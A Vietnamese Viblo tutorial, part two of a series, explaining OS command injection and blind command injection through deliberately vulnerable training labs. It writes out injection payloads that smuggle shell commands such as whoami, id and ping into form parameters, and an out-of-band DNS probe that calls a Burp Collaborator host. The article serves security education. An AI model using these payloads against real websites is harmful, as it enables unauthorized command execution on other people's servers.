+1

OS command injection vulnerabilities - Các lỗ hổng command injection (Phần 2)

II. Phân tích và khai thác lỗ hổng OS command injection (tiếp)

3. Lỗ hổng OS command injection thông thường

Xét một trang web mua sắm gồm chức năng kiểm tra số lượng sản phẩm còn lại trong kho với URL như sau:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Trong đó, trang web sử dụng các tham số productIDstoreID truyền vào trong câu lệnh shell như sau:

stockreport.pl 381 29

Câu lệnh sẽ trả vể kết quả trong giao diện người dùng. Chú ý rằng ở đây, hai tham số productIDstoreID có thể bị thay đổi bởi người dùng, nên chúng ta có thể lợi dụng cơ chế này tạo ra một cuộc tấn công Command injection. Kẻ tấn công có thể truyền cho tham số productID giá trị & echo aiwefwlguh &. Khi đó câu lệnh shell trở thành:

stockreport.pl & echo aiwefwlguh & 29

Như chúng ta đã phân tích về ký tự & ở phía trên, câu lệnh trên thực chất là ba lệnh thực thi đồng thời: stockreport.pl, echo aiwefwlguh29. Khi đó trong giao diện trả về kết quả như sau:

Error - productID was not provided
aiwefwlguh
29: command not found

Ở dòng đâu tiên, lệnh stockreport.pl thực thi thất bại do thiếu tham số truyền vào, câu lệnh thứ hai thực thi thành công, câu lệnh thứ ba 29 hệ thống không tìm thấy lệnh này dẫn tới error. Chúng ta chỉ cần quan tâm tới kết quả câu lệnh thứ hai, chuỗi aiwefwlguh trả về nghĩa là lệnh echo thực thi thành công. Chúng ta xác nhận tại đây có thể khai thác lỗ hổng Command injection.

Phân tích lab OS command injection, simple case

image.png

Miêu tả: Trang web chứa lỗ hổng Command injection trong chức năng kiểm tra số lượng sản phẩm còn lại. Biết rằng hệ thống sử dụng các tham số productIdstoreId yêu cầu từ người dùng trả về kết quả sau khi thực thi lệnh shell tại server. Để giải quyết bài lab, chúng ta cần thực thi lệnh whoami trả về kết quả người dùng hiện tại trong server.

Tại mục xem chi tiết sản phẩm, chức năng Check stock cho phép người dùng kiểm tra số lượng đơn hàng còn lại trong kho.

image.png

Quan sát request trong Burp Suite:

image.png

Chúng ta thấy request sử dụng phương thức POST truyền tới hệ thống hai tham số productIdstoreId. Hai giá trị này có thể thay đổi tùy ý bởi người dùng.

Do hệ thống truyền trực tiếp giá trị các tham số này vào câu lệnh shell, nên chúng ta có thể thay đổi giá trị nhằm thực thi lệnh shell tùy ý, chẳng hạn: Thực thi lệnh id xem user ID (uid), group ID nhóm (gid) và các nhóm mà họ là thành viên.

Lúc này, sau khi thực thi lệnh shell lấy kết quả số lượng sản phẩm còn lại, hệ thống đồng thời thực thi lệnh id trả về kết quả uid=12001(peter-CUXeyH) gid=12001(peter) groups=12001(peter):

image.png

Một số payload có thể sử dụng:

  • Payload 1: Sử dụng ; ngắt lệnh, sau đó thực thi lệnh whoami: productId=1&storeId=1;whoami

image.png

  • Payload 2: Ngắt lệnh bằng |: productId=1&storeId=1|whoami

image.png

  • Payload 3: Ngắt lệnh bằng %0d:

image.png

Còn nhiều payload khác dành cho các bạn tìm hiểu!

4. Lỗ hổng Blind OS command injection

Trong quá trình tìm hiểu cách hoạt động các hàm có thể dẫn tới lỗ hổng OS command injection ở phần trên, chúng ta thấy có một số hàm sẽ trả về kết quả tại giao diện trình duyệt, còn một số hàm chỉ thực thi câu lệnh nhưng không trả về kết quả, mà hiển thị kết quả gián tiếp thông qua các lệnh ghi dữ liệu khác. Trong thực tế, lỗ hổng OS Command injection cũng vậy, không phải lúc nào trang web cũng sẽ trả về kết quả lệnh shell chúng ta inject rõ ràng như trong trường hợp trên. Tuy nhiên cũng không thể phủ định tại đó không xuất hiện lỗ hổng OS Command injection. Dạng lỗ hổng này được gọi là Blind OS command injection vulnerabilities.

Xét một trang web chứa chức năng cho phép người dùng điền thông tin cá nhân khi đặt hàng, trong đó người dùng có nhập địa chỉ email và thông báo đặt hàng thành công sẽ được phản hồi tới email của họ. Để thực hiện điều này, trang web thực thi chương trình gửi thư với đầu vào là email từ người dùng như sau:

mail -s "Content of Email" -aFrom:peter@normal-user.net notification@vulnerable-website.com

Tất nhiên ở trường hợp này sẽ không phản hồi kết quả của các lệnh shell do người dùng inject. Vậy thì vấn đề đặt ra là, làm sao để kiểm tra, hay có dấu hiệu gì giúp chúng ta xác định dạng lỗ hổng "blind" này?

5. Kiểm tra lỗ hổng Blind OS command injection bằng time delays

Chúng ta có thể kiểm tra lỗ hổng này bằng cách sử dụng một lệnh sau khi inject sẽ khiến phản hồi hệ thống chứa độ trễ thời gian. Qua đó bằng cách quan sát cho phép chúng ta xác nhận rằng lệnh đã được thực thi dựa trên thời gian ứng dụng delay và phản hồi. Lệnh ping chắc chắn là một lựa chọn tốt trong trường hợp này:

& ping -c 10 127.0.0.1 &

Ví dụ dòng lệnh trên sẽ khiến ứng dụng thực hiện ping tới localhost trong 1010 giây.

Phân tích lab Blind OS command injection with time delays

image.png

Miêu tả: Trang web chứa lỗ hổng Command injection dạng blind trong chức năng feedback từ người dùng, tuy nhiên output không được hiển thị. Biết rằng hệ thống thực thi lệnh shell tại server với các tham số đầu vào từ người dùng. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng khiến hệ thống bị delay trong 1010 giây.

Chức năng Submit feedback cho phép người dùng nhập các trường name, email, subject, messsage. Những giá trị này được truyền tới hệ thống qua phương thức POST:

image.png

image.png

Để kiểm tra hệ thống có tồn tại lỗ hổng Command injection hay không, chúng ta có thể sử dụng lệnh dig nhằm thực hiện DNS lookup kiểm tra phản hồi từ server. Có thể sử dụng nhiều domain miễn phí. Ở đây tôi sử dụng Burp Collaborator, với domain name: 8s1uu77drmsnrws11qcmew82nttrhg.burpcollaborator.net, thêm ;dig+8s1uu77drmsnrws11qcmew82nttrhg.burpcollaborator.net vào sau từng tham số để kiểm tra:

image.png

Tham số email trả về DNS lookup thành công. Như vậy giá trị email được sử dụng trong shell command tại server. Có thể sử dụng lệnh ping gây deley 1010 giây hệ thống:

Payload: email=hacker%40gmail.com||ping+-c+10+127.0.0.1||

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí